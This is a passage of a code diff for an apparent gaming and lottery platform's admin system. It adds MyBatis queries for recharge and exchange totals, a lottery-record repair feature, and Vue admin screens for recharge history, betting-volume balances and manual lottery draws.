+@Data
+public class RechargeAmountVo implements Serializable {
+
+    private static final long serialVersionUID = 1L;
+
+    @ApiModelProperty(value = "充值金额(包含转账)")
+    private Double amount = 0.0;
+
+    @ApiModelProperty(value = "赠送金额")
+    private Double giveAmount = 0.0;
+
+    @ApiModelProperty(value = "打码量")
+    private Double gameAmount = 0.0;
+
+    @ApiModelProperty(value = "缺少打码量")
+    private Double lackAmount = 0.0;
+}

+ 20 - 0
game-business/src/main/java/com/game/business/vo/RechargeSumVo.java

@@ -0,0 +1,20 @@
+package com.game.business.vo;
+
+import lombok.Data;
+
+import java.io.Serializable;
+
+@Data
+public class RechargeSumVo implements Serializable {
+
+    private static final long serialVersionUID = 1L;
+
+    private Double totalCoin;
+
+    private Double totalDiamondCoin;
+
+    private Double dontTotalCoin;
+
+    private Double dontTotalDiamondCoin;
+
+}

+ 1 - 1
game-business/src/main/resources/mapper/business/AppGameBettingMapper.xml

@@ -51,7 +51,7 @@
           group by game_date
         ) tmp
         left join app_game_lottery agl on agl.game_date = tmp.gameDate and agl.game_id = #{gameId}
-        order by tmp.gameDate desc
+        order by agl.game_record_date desc, agl.game_date desc
     </select>
 
     <select id="getUserWebCount" resultType="com.game.business.vo.AppUserGameBettingWebCountVO">

+ 25 - 1
game-business/src/main/resources/mapper/business/AppGameLotteryMapper.xml

@@ -28,7 +28,7 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
             <if test="gameLotterySucc != null  and gameLotterySucc != ''"> and FIND_IN_SET(#{gameLotterySucc},game_lottery_succ) > 0</if>
             <if test="gameRecordDate != null "> and game_record_date = #{gameRecordDate}</if>
         </where>
-        order by game_date desc
+        order by game_record_date desc,game_date desc
     </select>
     
     <select id="selectAppGameLotteryById" parameterType="Long" resultMap="AppGameLotteryResult">
@@ -79,4 +79,28 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
             #{id}
         </foreach>
     </delete>
+
+    <select id="selectLeakLottery" resultMap="AppGameLotteryResult">
+        select * from app_game_lottery_history
+                 where is_lottery != 0
+                 and  CONCAT(game_id,'_',game_date) in (select CONCAT(game_id,'_',game_date) from app_game_lottery where is_lottery = 0)
+                 and game_record_date &lt;= #{time}
+    </select>
+
+    <select id="selectLeakLottery2" resultMap="AppGameLotteryResult">
+        select * from app_game_lottery_history2
+                 where is_lottery != 0
+                 and  CONCAT(game_id,'_',game_date) in (select CONCAT(game_id,'_',game_date) from app_game_lottery where is_lottery = 0)
+                 and game_record_date &lt;= #{time}
+    </select>
+
+    <select id="leakInfo" resultMap="AppGameLotteryResult">
+        select * from app_game_lottery_history
+                 where game_id = #{gameId} and game_date = #{gameDate}
+    </select>
+
+    <select id="leakInfo2" resultMap="AppGameLotteryResult">
+        select * from app_game_lottery_history2
+                 where game_id = #{gameId} and game_date = #{gameDate}
+    </select>
 </mapper>

+ 1 - 1
game-business/src/main/resources/mapper/business/AppUsersAuthMapper.xml

@@ -42,7 +42,7 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
             <if test="cerNo != null  and cerNo != ''"> and cer_no = #{cerNo}</if>
             <if test="status != null "> and status = #{status}</if>
         </where>
-        order by uptime desc , addtime desc
+        order by status asc,addtime desc
     </select>
     
     <select id="selectAppUsersAuthByUid" parameterType="Long" resultMap="AppUsersAuthResult">

+ 43 - 0
game-business/src/main/resources/mapper/business/AppUsersChargeMapper.xml

@@ -80,6 +80,49 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
         </where>
         order by addtime desc
     </select>
+
+    <select id="selectRechargeSum" parameterType="com.game.business.domain.AppUsersCharge" resultType="com.game.business.vo.RechargeSumVo">
+        select
+                ifnull(sum(case when coin_type=0 and channel_id is not null then coin else 0 end),0) as totalCoin,
+               ifnull(sum(case when coin_type=1 and channel_id is not null then coin else 0 end),0) as totalDiamondCoin,
+                ifnull(sum(case when coin_type=0 and channel_id is null then coin else 0 end),0) as dontTotalCoin,
+               ifnull(sum(case when coin_type=1 and channel_id is null then coin else 0 end),0) as dontTotalDiamondCoin
+        from app_users_charge
+        <where>
+            <if test="addtime != null "> and addtime = #{addtime}</if>
+            <if test="updateTime != null "> and update_time = #{updateTime}</if>
+            <if test="afterCoin != null "> and after_coin = #{afterCoin}</if>
+            <if test="agentId != null "> and agent_id = #{agentId}</if>
+            <if test="ambient != null "> and ambient = #{ambient}</if>
+            <if test="coin != null "> and coin = #{coin}</if>
+            <if test="coinType != null "> and coin_type = #{coinType}</if>
+            <if test="coinGive != null "> and coin_give = #{coinGive}</if>
+            <if test="platformServiceRate != null "> and platform_service = #{platformService}</if>
+            <if test="platformService != null "> and platform_service_rate = #{platformServiceRate}</if>
+            <if test="isAgent != null "> and is_agent = #{isAgent}</if>
+            <if test="isDelete != null "> and is_delete = #{isDelete}</if>
+            <if test="isWater != null "> and is_water = #{isWater}</if>
+            <if test="money != null "> and money = #{money}</if>
+            <if test="optType != null "> and opt_type = #{optType}</if>
+            <if test="optUser != null  and optUser != ''"> and opt_user = #{optUser}</if>
+            <if test="orderno != null  and orderno != ''"> and orderno = #{orderno}</if>
+            <if test="pid != null "> and pid = #{pid}</if>
+            <if test="pidLevel1 != null "> and pid_level1 = #{pidLevel1}</if>
+            <if test="pidLevel2 != null "> and pid_level2 = #{pidLevel2}</if>
+            <if test="pidLevel3 != null "> and pid_level3 = #{pidLevel3}</if>
+            <if test="pidLevel4 != null "> and pid_level4 = #{pidLevel4}</if>
+            <if test="remarks != null  and remarks != ''"> and remarks = #{remarks}</if>
+            <if test="ruleId != null "> and rule_id = #{ruleId}</if>
+            <if test="status != null "> and status = #{status}</if>
+            <if test="touid != null "> and touid = #{touid}</if>
+            <if test="tradeNo != null  and tradeNo != ''"> and trade_no = #{tradeNo}</if>
+            <if test="type != null "> and type = #{type}</if>
+            <if test="uid != null "> and uid = #{uid}</if>
+            <if test="channelId != null "> and channel_id = #{channelId}</if>
+            <if test="beginTime != null  and beginTime != ''"> and addtime &gt; CONCAT(#{beginTime},' 00:00:00')</if>
+            <if test="endTime != null  and endTime != ''"> and addtime &lt; CONCAT(#{endTime},' 23:59:59')</if>
+        </where>
+    </select>
     
     <select id="selectAppUsersChargeById" parameterType="Long" resultMap="AppUsersChargeResult">
         <include refid="selectAppUsersChargeVo"/>

+ 102 - 3
game-business/src/main/resources/mapper/business/FinTranRecordMapper.xml

@@ -282,11 +282,24 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
         group by type
     </select>
 
+    <select id="getCoinTypeByDateSum" resultType="java.util.Map"  parameterType="com.game.business.dto.FinTranRecordDTO">
+        select tran_type3 as type,ifnull(sum(coin_change),0) as coin from fin_tran_record where currency_type = 2
+
+        <if test="userId != null">
+            and uid = #{userId}
+        </if>
+        <if test="beginTime != null and beginTime != '' and endTime != null and endTime != ''">
+            and (date_format(create_time, '%Y-%m-%d') &gt;= #{beginTime} and date_format(create_time, '%Y-%m-%d') &lt;= #{endTime})
+        </if>
+        group by tran_type3
+    </select>
+
     <select id="getRechargeByDateSum" resultType="java.util.Map" parameterType="com.game.business.dto.FinTranRecordDTO">
         select
 
         case
-        when ifnull(b.type,-2) = -2 and a.type = 4  then 4
+        when ifnull(b.type,-2) = -2 and a.type = 4 and a.channel_id is null  then 5
+        when ifnull(b.type,-2) = -2 and a.type = 4 and a.channel_id is not null then 4
         when ifnull(b.type,-2) = 1 then 8085
         when ifnull(b.type,-2) = 2 then 8086
         when ifnull(b.type,-2) = 3 then 8087
@@ -309,7 +322,20 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
         ifnull(sum(case when a.coin_type = 1 and a.rule_id = 0 then a.coin else 0.00 end) ,0.00) as actualDiamondCoinDownSum,
         ifnull(sum(case when a.coin_type = 1 and a.rule_id = 0 then a.platform_service else 0.00 end) ,0.00) as platformServiceDiamondCoinDownSum
 
-        from app_users_charge as a left join app_charge_channel as b on a.type = b.channel_no where a.status = 1
+        from (
+            SELECT
+                coin_type,
+                rule_id,
+                platform_service,
+                coin,
+                STATUS,
+                addtime,
+                channel_id,
+                type,
+                CASE WHEN channel_id IS NULL THEN 1 ELSE 2 END channelType
+            FROM
+            app_users_charge
+        ) as a left join app_charge_channel as b on a.type = b.channel_no where a.status = 1
 
         <if test="userId != null">
             and a.uid = #{userId}
@@ -317,7 +343,7 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
         <if test="beginTime != null and beginTime != '' and endTime != null and endTime != ''">
             and (date_format(a.addtime, '%Y-%m-%d') &gt;= #{beginTime} and date_format(a.addtime, '%Y-%m-%d') &lt;= #{endTime})
         </if>
-        group by b.type
+        group by b.type,a.channelType
     </select>
 
     <select id="selectTranList" parameterType="com.game.business.dto.FinTranDto" resultType="com.game.business.vo.FinTranVo">
@@ -358,6 +384,7 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
     <select id="sumUserTran" resultType="java.lang.Double">
         select sum(diamond_coin_change) from fin_tran_record
         <where>
+            currency_type = 4
             <if test="type1 != null">
                 and tran_type1 = #{type1}
             </if>
@@ -385,4 +412,76 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
         </where>
     </select>
 
+    <select id="sumUserRechareTran" resultType="java.lang.Double">
+        select sum(diamond_coin_change) from fin_tran_record
+        <where>
+            currency_type = 4
+            and tran_type3 not in ('20002','5005')
+            and uid = #{userId}
+            <if test="beginDate != null">
+                and create_time &gt;= #{beginDate}
+            </if>
+            <if test="endDate != null">
+                and create_time &lt;= #{endDate}
+            </if>
+        </where>
+    </select>
+
+    <select id="selectExChangeSum" parameterType="com.game.business.dto.FinTranRecordDTO" resultType="java.util.Map">
+        SELECT
+            ifnull( sum( CASE WHEN tran_type1 = '12' THEN coin_change ELSE 0 END ), 0 ) AS coin,
+            ifnull( sum( CASE WHEN tran_type1 = '17' THEN diamond_coin_change ELSE 0 END ), 0 ) AS diamondCoin
+        FROM
+            fin_tran_record
+        WHERE
+            tran_type3 = '1304'
+            <if test="beginTime != null and beginTime != ''">
+                AND  create_time &gt;= concat(#{beginTime},' 00:00:00')
+            </if>
+            <if test="endTime != null and endTime != ''">
+                AND  create_time &lt;= concat(#{endTime},' 23:59:59')
+            </if>
+            <if test="userId != null">
+                AND  uid = #{userId}
+            </if>
+    </select>
+
+    <select id="selectRechargeAmount" resultType="com.game.business.vo.RechargeAmountVo">
+        SELECT
+            sum(
+                    ifnull( a.diamond_coin_change, 0 )) AS amount,
+            sum(
+                    ifnull( b.coin_give, 0 )) AS giveAmount
+        FROM
+            fin_tran_record AS a
+                LEFT JOIN app_users_charge AS b ON a.tran_group_id = b.orderno
+        WHERE
+            a.tran_type3 IN ( '1001', '1101', '1108', '1601' )
+          AND a.tran_type1 = '17'
+          <if test="withdrawFlag != null">
+                AND a.withdraw_flag = #{withdrawFlag}
+          </if>
+          AND a.uid = #{userId}
+          AND a.currency_type = 4
+        ORDER BY
+            a.create_time DESC
+    </select>
+
+    <select id="selectRechargeDate" resultType="java.util.Date">
+        SELECT
+            min(a.create_time)
+        FROM
+            fin_tran_record AS a
+        WHERE
+            a.tran_type3 IN ( '1001', '1101', '1108', '1601' )
+          AND a.tran_type1 = '17'
+          <if test="withdrawFlag != null">
+                AND a.withdraw_flag = #{withdrawFlag}
+          </if>
+          AND a.uid = #{userId}
+          AND a.currency_type = 4
+        ORDER BY
+            a.create_time DESC
+    </select>
+
 </mapper>

+ 1 - 1
game-common/src/main/java/com/game/common/constant/finance/FinTranType3.java

@@ -99,7 +99,7 @@ public enum FinTranType3 {
      */
     DiamondCoin_TO_COIN(FinTranType2.EXCHANGE_COIN, 1303, ProjConfig.getD_ticketName() + MessageUtils.message("11214") + ProjConfig.getCoinName(),0),
     /**
-     * 兑换 - 余额兑换金币
+     * 兑换 - 金币兑换余额
      */
     COIN_TO_DiamondCoin(FinTranType2.EXCHANGE_COIN, 1304, ProjConfig.getCoinName() + MessageUtils.message("11214") + ProjConfig.getD_ticketName(),0),
 

+ 9 - 0
game-ui/src/api/business/charge.js

@@ -9,6 +9,15 @@ export function listCharge(query) {
   })
 }
 
+// 查询充值记录统计
+export function selectRechargeSum(query) {
+  return request({
+    url: '/business/charge/selectRechargeSum',
+    method: 'get',
+    params: query
+  })
+}
+
 // 查询充值渠道列表
 export function channelList(query) {
   return request({

+ 16 - 0
game-ui/src/api/business/lottery.js

@@ -26,6 +26,14 @@ export function getLottery(id) {
   })
 }
 
+// 查询游戏开奖记录详细
+export function lotteryInfo(id) {
+  return request({
+    url: '/business/lottery/lotteryInfo/' + id,
+    method: 'get'
+  })
+}
+
 // 新增游戏开奖记录
 export function addLottery(data) {
   return request({
@@ -44,6 +52,14 @@ export function kjLottery(data) {
   })
 }
 
+// 修补数据
+export function leakLottery() {
+  return request({
+    url: '/business/lottery/leakLottery',
+    method: 'post'
+  })
+}
+
 // 修改游戏开奖记录
 export function updateLottery(data) {
   return request({

+ 8 - 0
game-ui/src/api/business/user.js

@@ -57,6 +57,14 @@ export function getUser(userid) {
   })
 }
 
+// 查询app用户充值打码量
+export function getRechargeAmount(userid) {
+  return request({
+    url: '/business/user/getRechargeAmount/' + userid,
+    method: 'get'
+  })
+}
+
 // 新增app用户
 export function addUser(data) {
   return request({

+ 10 - 10
game-ui/src/views/business/account/index.vue

@@ -144,42 +144,42 @@
     <!-- 添加或修改用户提现账号对话框 -->
     <el-dialog :title="title" :visible.sync="open" width="500px" append-to-body>
       <el-form ref="form" :model="form" :rules="rules" label-width="80px">
+        <el-form-item label="UID" prop="uid">
+          <el-input v-model="form.uid" placeholder="请输入用户ID" disabled/>
+        </el-form-item>
         <el-form-item label="账号" prop="account">
           <el-input v-model="form.account" placeholder="请输入账号" />
         </el-form-item>
         <el-form-item label="银行名称" prop="accountBank">
           <el-input v-model="form.accountBank" placeholder="请输入银行名称" />
         </el-form-item>
-        <el-form-item label="添加时间" prop="addtime">
+<!--        <el-form-item label="添加时间" prop="addtime">
           <el-date-picker clearable
             v-model="form.addtime"
             type="date"
             value-format="yyyy-MM-dd"
             placeholder="请选择添加时间">
           </el-date-picker>
-        </el-form-item>
+        </el-form-item>-->
         <el-form-item label="支行" prop="branch">
           <el-input v-model="form.branch" placeholder="请输入支行" />
         </el-form-item>
-        <el-form-item label="是否默认 1:默认 0:非默认" prop="isDefault">
+<!--        <el-form-item label="是否默认" prop="isDefault">
           <el-input v-model="form.isDefault" placeholder="请输入是否默认 1:默认 0:非默认" />
-        </el-form-item>
+        </el-form-item>-->
         <el-form-item label="姓名" prop="name">
           <el-input v-model="form.name" placeholder="请输入姓名" />
         </el-form-item>
-        <el-form-item label="账号类型 1:表示支付宝 2:表示微信 3:表示银行卡" prop="type">
-          <el-select v-model="form.type" placeholder="请选择账号类型 1:表示支付宝 2:表示微信 3:表示银行卡">
+        <el-form-item label="账号类型" prop="type">
+          <el-select v-model="form.type" placeholder="请选择账号类型">
             <el-option
               v-for="dict in dict.type.app_user_cash_account"
               :key="dict.value"
               :label="dict.label"
-              :value="parseInt(dict.value)"
+              :value="dict.value"
             ></el-option>
           </el-select>
         </el-form-item>
-        <el-form-item label="用户ID" prop="uid">
-          <el-input v-model="form.uid" placeholder="请输入用户ID" />
-        </el-form-item>
       </el-form>
       <div slot="footer" class="dialog-footer">
         <el-button type="primary" @click="submitForm">确 定</el-button>

+ 12 - 0
game-ui/src/views/business/cashrecord/index.vue

@@ -430,17 +430,29 @@ export default {
     submitForm() {
       this.$refs["form"].validate(valid => {
         if (valid) {
+          const loading = this.$loading({
+            lock: true,
+            text: 'Loading',
+            spinner: 'el-icon-loading',
+            background: 'rgba(0, 0, 0, 0.7)'
+          });
           if (this.form.id != null) {
             updateCashrecord(this.form).then(response => {
               this.$modal.msgSuccess("修改成功");
               this.open = false;
+              loading.close();
               this.getList();
+            }).catch(e=>{
+              loading.close();
             });
           } else {
             addCashrecord(this.form).then(response => {
               this.$modal.msgSuccess("新增成功");
               this.open = false;
+              loading.close();
               this.getList();
+            }).catch(e=>{
+              loading.close();
             });
           }
         }

+ 4 - 0
game-ui/src/views/business/game/index.vue

@@ -121,6 +121,7 @@
         </template>
       </el-table-column>
       <el-table-column label="排序" align="center" prop="orderno" />
+      <el-table-column label="开奖间隔时间(秒)" align="center" prop="gameExpand1" />
       <el-table-column label="操作" align="center" class-name="small-padding fixed-width">
         <template slot-scope="scope">
 <!--          <el-button
@@ -213,6 +214,9 @@
         <el-form-item label="排序" prop="orderno">
           <el-input v-model="form.orderno" placeholder="请输入排序" />
         </el-form-item>
+        <el-form-item label="开奖间隔时间(秒,勿动)" prop="gameExpand1">
+          <el-input v-model="form.gameExpand1" placeholder="请输入开奖间隔时间" />
+        </el-form-item>
       </el-form>
       <div slot="footer" class="dialog-footer">
         <el-button type="primary" @click="submitForm">确 定</el-button>

+ 73 - 6
game-ui/src/views/business/lottery/index.vue

@@ -63,6 +63,15 @@
           @click="handleKj"
         >手动开奖</el-button>
       </el-col>
+      <el-col :span="1.5">
+        <el-button
+          type="primary"
+          plain
+          icon="el-icon-plus"
+          size="mini"
+          @click="handLeakLottery"
+        >修补开奖数据(10分钟之前的数据)</el-button>
+      </el-col>
       <el-col :span="1.5">
         <el-button
           type="primary"
@@ -140,6 +149,14 @@
       </el-table-column>
       <el-table-column label="操作" align="center" class-name="small-padding fixed-width">
         <template slot-scope="scope">
+          <el-button
+            size="mini"
+            type="text"
+            icon="el-icon-edit"
+            @click="handleLeakInfo(scope.row)"
+            v-if="scope.row.isLottery == 0
+"
+          >开奖</el-button>
           <el-button
             size="mini"
             type="text"
@@ -278,7 +295,7 @@
 </template>
 
 <script>
-import { listLottery, getLottery, delLottery, addLottery, updateLottery,allList,kjLottery } from "@/api/business/lottery";
+import { listLottery, getLottery, delLottery, addLottery, updateLottery,allList,kjLottery,leakLottery,lotteryInfo } from "@/api/business/lottery";
 
 import {allGameList } from "@/api/business/game_item";
 
@@ -366,10 +383,10 @@ export default {
         if(response.data){
           for(var i in response.data){
             var item = response.data[i];
-            that.gameItemMap[item.itemLocation.toString() + "_" + item.gameId] = item.itemName;
+            that.gameItemMap[item.itemLocation.toString() + "_" + item.gameId] = item.itemName+ "("+(parseInt(item.itemLocation) + 1)+")";
             that.gameItemList.push({
               value:item.itemLocation+"_"+item.gameId,
-              label:item.itemName,
+              label:item.itemName + "("+(parseInt(item.itemLocation) + 1)+")",
               gameId:item.gameId
             })
           }
@@ -430,12 +447,14 @@ export default {
       that.kjForm.gameLotterySucc = null;
       for(var i in that.gameItemList){
         var item = that.gameItemList[i];
-        console.log(item["value"],val)
         if(item["gameId"] == val){
+
           that.kjGameItemList.push({
             value:item["value"].split("_")[0],
             label:item["label"],
-            gameId:item["gameId"]
+            gameId:item["gameId"],
+            isLottery: item["isLottery"],
+
           });
         }
       }
@@ -532,6 +551,27 @@ export default {
       this.kjOpen = true;
       this.title = "手动开奖";
     },
+    /** 新增按钮操作 */
+    handLeakLottery() {
+      this.$confirm('是否开始修补10分钟之前的开奖数据', '提示', {
+        confirmButtonText: '确定',
+        cancelButtonText: '取消',
+        type: 'warning'
+      }).then(() => {
+        /*this.$message({
+          type: 'success',
+          message: '删除成功!'
+        });*/
+        leakLottery().then(()=>{
+          this.$message({
+            type: 'success',
+            message: '修补成功!'
+          });
+        })
+      }).catch(() => {
+
+      });
+    },
     /** 修改按钮操作 */
     handleUpdate(row) {
       this.reset();
@@ -542,6 +582,33 @@ export default {
         this.title = "修改游戏开奖记录";
       });
     },
+    /** 修改按钮操作 */
+    handleLeakInfo(row) {
+      this.reset();
+      const id = row.id || this.ids
+      lotteryInfo(id).then(response => {
+        let item = response.data;
+        this.resetKj();
+        this.changeClass(item.classId);
+        this.changeGame(item.gameId)
+        let arr = [];
+        if(undefined != item["gameLotterySucc"] && null != item["gameLotterySucc"] && "" != item["gameLotterySucc"]){
+          let gameLotterySucc = item["gameLotterySucc"].split(",");
+          for(var i in gameLotterySucc){
+            arr.push(gameLotterySucc[i]);
+          }
+        }
+        this.kjForm = {
+          classId: item.classId,
+          gameId: item.gameId,
+          gameDate: item.gameDate,
+          isLottery:"1",
+          gameLotterySuccItem:arr
+        }
+        this.kjOpen = true;
+        this.title = "手动开奖";
+      });
+    },
     /** 提交按钮 */
     submitForm() {
       this.$refs["form"].validate(valid => {
@@ -575,7 +642,7 @@ export default {
           }
           kjLottery(this.kjForm).then(response => {
                 this.$modal.msgSuccess(response.msg);
-                this.open = false;
+                this.kjOpen = false;
                 this.getList();
 
             });

+ 256 - 32
game-ui/src/views/business/user/index.vue

@@ -436,7 +436,7 @@
     </el-dialog>
 
     <!-- 充值对话框 -->
-    <el-dialog :title="title" :visible.sync="chargeopen" width="700px" append-to-body>
+    <el-dialog :title="title" :visible.sync="chargeopen" width="80%" append-to-body>
       <el-form ref="chargeForm" :model="chargeForm" :rules="currentRules" :validate-on-rule-change=false label-width="150px">
         <el-form-item label="用户id" prop="userId">
           <el-input v-model="chargeForm.userId" disabled />
@@ -485,10 +485,94 @@
         </template>
 
       </el-form>
-      <div slot="footer" class="dialog-footer">
+      <div style="text-align: right">
         <el-button type="primary" @click="submitChargeForm">确 定</el-button>
         <el-button @click="cancel">取 消</el-button>
       </div>
+      <div style="border-top: 4px solid #c2b8b8; margin-top: 22px;">
+        <h3><b>充值记录</b></h3>
+      </div>
+      <div>
+        <span>已充值余额:{{rechargeSum.totalDiamondCoin}}</span>
+        <span style="padding-left: 15px">已充值金币:{{rechargeSum.totalCoin}}</span>
+      </div>
+      <div style="    margin-bottom: 18px;">
+        <span>已充值余额(不记返点):{{rechargeSum.dontTotalDiamondCoin}}</span>
+        <span style="padding-left: 15px">已充值金币(不记返点):{{rechargeSum.dontTotalCoin}}</span>
+      </div>
+      <el-form :model="rechargeQueryParams" ref="rechargeQueryForm" size="small" :inline="true" v-show="showSearch" label-width="120px">
+        <el-form-item label="充值渠道" prop="channelId">
+          <el-select v-model="rechargeQueryParams.channelId" placeholder="请选择充值渠道">
+            <el-option
+              v-for="item in rechargeTypeList"
+              :key="item.value"
+              :label="item.label"
+              :value="item.value"
+            ></el-option>
+          </el-select>
+        </el-form-item>
+        <el-form-item label="日期" prop="rechargeDaterange">
+          <el-date-picker
+            v-model="rechargeDaterange"
+            style="width: 240px"
+            value-format="yyyy-MM-dd"
+            type="daterange"
+            range-separator="-"
+            start-placeholder="开始日期"
+            end-placeholder="结束日期"
+            @change="rechargeDateChage"
+          ></el-date-picker>
+        </el-form-item>
+        <el-form-item>
+          <el-button type="primary" icon="el-icon-search" size="mini" @click="rechargeHandleQuery">搜索</el-button>
+          <el-button icon="el-icon-refresh" size="mini" @click="resetRechareQuery">重置</el-button>
+        </el-form-item>
+      </el-form>
+
+      <el-table v-loading="rechargeLoading" :data="chargeList">
+        <el-table-column type="selection" width="55" align="center" />
+        <el-table-column label="" align="center" prop="id" />
+        <el-table-column label="UID" align="center" prop="uid" />
+        <el-table-column label="充值类型" align="center" prop="type">
+          <template slot-scope="scope">
+            {{scope.row.type==4?"手工充值":"在线充值"}}
+          </template>
+        </el-table-column>
+        <el-table-column label="充值渠道" align="center" prop="channelId">
+          <template slot-scope="scope">
+            <span>{{ getRechargeTypeName(scope.row.channelId) }}</span>
+          </template>
+        </el-table-column>
+        <el-table-column label="充值时间" align="center" prop="addtime" width="180">
+          <template slot-scope="scope">
+            <span>{{ parseTime(scope.row.addtime, '{y}-{m}-{d} {h}:{i}:{s}')}}</span>
+          </template>
+        </el-table-column>
+        <el-table-column label="充值金额" align="center" prop="coin" />
+        <el-table-column label="货币类型" align="center" prop="coinType">
+          <template slot-scope="scope">
+            <dict-tag :options="dict.type.app_user_coin_type" :value="scope.row.coinType"/>
+          </template>
+        </el-table-column>
+        <el-table-column label="赠送金额" align="center" prop="coinGive"></el-table-column>
+        <el-table-column label="备注" align="center" prop="remarks" />
+        <el-table-column label="状态" align="center" prop="status">
+          <template slot-scope="scope">
+            <dict-tag :options="dict.type.app_users_charge_status" :value="scope.row.status"/>
+          </template>
+        </el-table-column>
+        <el-table-column label="平台服务费" align="center" prop="platformService" width="100"/>
+
+        <el-table-column label="订单号" align="center" prop="orderno" width="180"/>
+        <el-table-column label="四方方平台订单号" align="center" prop="tradeNo" width="180"/>
+      </el-table>
+      <pagination
+        v-show="rechargeTotal>0"
+        :total="rechargeTotal"
+        :page.sync="rechargeQueryParams.pageNum"
+        :limit.sync="rechargeQueryParams.pageSize"
+        @pagination="getRechargeList"
+      />
     </el-dialog>
 
     <!-- 补足流水对话框 -->
@@ -497,6 +581,9 @@
         <el-form-item label="用户id" prop="userId">
           <el-input v-model="resetWithdrawForm.userId" disabled />
         </el-form-item>
+        <el-form-item label="打码量剩余" prop="userId">
+          <el-input v-model="rechargeAmount.lackAmount" disabled />
+        </el-form-item>
         <el-form-item label="金额" prop="amount">
           <el-input type="text" v-model="resetWithdrawForm.amount" placeholder="请输入金额" />
         </el-form-item>
@@ -955,12 +1042,13 @@
 </template>
 
 <script>
-import { listUser, getUser, delUser, addUser, updateUser,resetUser,userCharge,channelList,withdraw,openLive,userDetail,liveCommission,getGift,updateUserAgent,updateGameCommissionAgent,restPayPwd  } from "@/api/business/user";
+import { listUser, getUser, delUser, addUser, updateUser,resetUser,userCharge,channelList,withdraw,openLive,userDetail,liveCommission,getGift,updateUserAgent,updateGameCommissionAgent,restPayPwd,getRechargeAmount  } from "@/api/business/user";
 import { listAccount} from "@/api/business/account";
 import { listOrder } from "@/api/business/order";
 import { listHistoryWeb} from "@/api/business/betting";
 import {allGameList } from "@/api/business/game_item";
 import {allList} from "@/api/business/lottery";
+import { listCharge, selectRechargeSum } from "@/api/business/charge";
 
 export default {
   name: "User",
@@ -973,6 +1061,7 @@ export default {
       activeName2:"first",
       // 遮罩层
       loading: true,
+      rechargeLoading: true,
       ipLoading: true,
       accountLoading: true,
       orderLoading: true,
@@ -989,6 +1078,7 @@ export default {
       showSearch: true,
       // 总条数
       total: 0,
+      rechargeTotal: 0,
       ipTotal: 0,
       accountTotal: 0,
       orderTotal: 0,
@@ -1015,6 +1105,7 @@ export default {
       // 是否显示弹出层
       chargeopen: false,
       channelList:[],
+      rechargeDaterange:[],
       isReadOnly:true,
       rate:null,
       channelMap:{},
@@ -1029,6 +1120,11 @@ export default {
       downUserList:[],
       typeMap:{},
       typeList:[],
+      chargeList:[],
+      rechargeSum:{},
+      rechargeTypeMap:{},
+      rechargeTypeList:[],
+      rechargeAmount:{},
       gameItemMap:{},
       gameItemList:[],
       gameItemShowList:[],
@@ -1107,6 +1203,42 @@ export default {
         diamondCoin: null,
         mobile:null,
       },
+      // 查询参数
+      rechargeQueryParams: {
+        pageNum: 1,
+        pageSize: 10,
+        addtime: null,
+        afterCoin: null,
+        agentId: null,
+        ambient: null,
+        coin: null,
+        coinType: null,
+        coinGive: null,
+        isAgent: null,
+        isDelete: null,
+        isWater: null,
+        money: null,
+        optType: null,
+        optUser: null,
+        orderno: null,
+        pid: null,
+        pidLevel1: null,
+        pidLevel2: null,
+        pidLevel3: null,
+        pidLevel4: null,
+        remarks: null,
+        ruleId: null,
+        status: null,
+        touid: null,
+        tradeNo: null,
+        type: null,
+        uid: null,
+        platformService: null,
+        platformServiceRate: null,
+        channelId: null,
+        beginTime:null,
+        endTime:null
+      },
       // 表单参数
       form: {},
       //重置密码
@@ -1181,6 +1313,20 @@ export default {
       that.getList();
 
     });
+    channelList().then(response => {
+      if(response.data){
+        for(var i in response.data){
+          var item = response.data[i];
+          that.rechargeTypeMap[item.id.toString()] = item.name;
+          that.rechargeTypeList.push({
+            value:item.id,
+            label:item.name
+          })
+        }
+      }
+      this.getList();
+
+    })
   },
   computed: {
     currentRules:function(){
@@ -1195,6 +1341,31 @@ export default {
     },
   },
   methods: {
+    /** 搜索按钮操作 */
+    rechargeHandleQuery() {
+      this.rechargeQueryParams.pageNum = 1;
+      this.getRechargeList();
+    },
+    /** 查询充值记录列表 */
+    getRechargeList() {
+      this.rechargeLoading = true;
+      listCharge(this.rechargeQueryParams).then(response => {
+        this.chargeList = response.rows;
+        this.rechargeTotal = response.total;
+        this.rechargeLoading = false;
+      });
+      selectRechargeSum(this.rechargeQueryParams).then(response=>{
+        if(response.data != null && response.data != undefined){
+          this.rechargeSum = response.data;
+        }else{
+          this.rechargeSum = {
+            totalDiamondCoin:0,
+            totalCoin:0
+          }
+        }
+      })
+      console.log(this.chargeList)
+    },
     getBettingInfo(row){
       let detailsCountVOList = row.detailsCountVOList;
       if(!detailsCountVOList){
@@ -1281,6 +1452,15 @@ export default {
     getTypeName(id) {
       return this.typeMap[id.toString()];
     },
+    getRechargeTypeName(id) {
+      if(id == null || id == undefined){
+        return "-";
+      }
+      if(undefined == this.typeMap[id.toString()] || null == this.typeMap[id.toString()]){
+        return "-";
+      }
+      return this.typeMap[id.toString()];
+    },
     /** 查询app用户列表 */
     getList() {
       this.loading = true;
@@ -1571,6 +1751,20 @@ export default {
       this.resetForm("queryForm");
       this.handleQuery();
     },
+    /** 重置按钮操作 */
+    resetRechareQuery() {
+      this.resetForm("rechareQueryForm");
+      this.rechargeDaterange = [];
+      this.chargeList = [];
+      this.rechargeQueryParams.beginTime = null;
+      this.rechargeQueryParams.endTime = null;
+      this.rechargeQueryParams.uid = this.chargeForm.userId;
+      this.rechargeSum = {
+        totalDiamondCoin:0,
+        totalCoin:0
+      };
+      this.rechargeHandleQuery();
+    },
     // 多选框选中数据
     handleSelectionChange(selection) {
       this.ids = selection.map(item => item.userid)
@@ -1629,8 +1823,20 @@ export default {
         userId:userid,
         password:""
       };
-      this.resetWithdrawopen = true;
-      this.title = "补足提现流水";
+      const loading = this.$loading({
+        lock: true,
+        text: '加载中',
+        spinner: 'el-icon-loading',
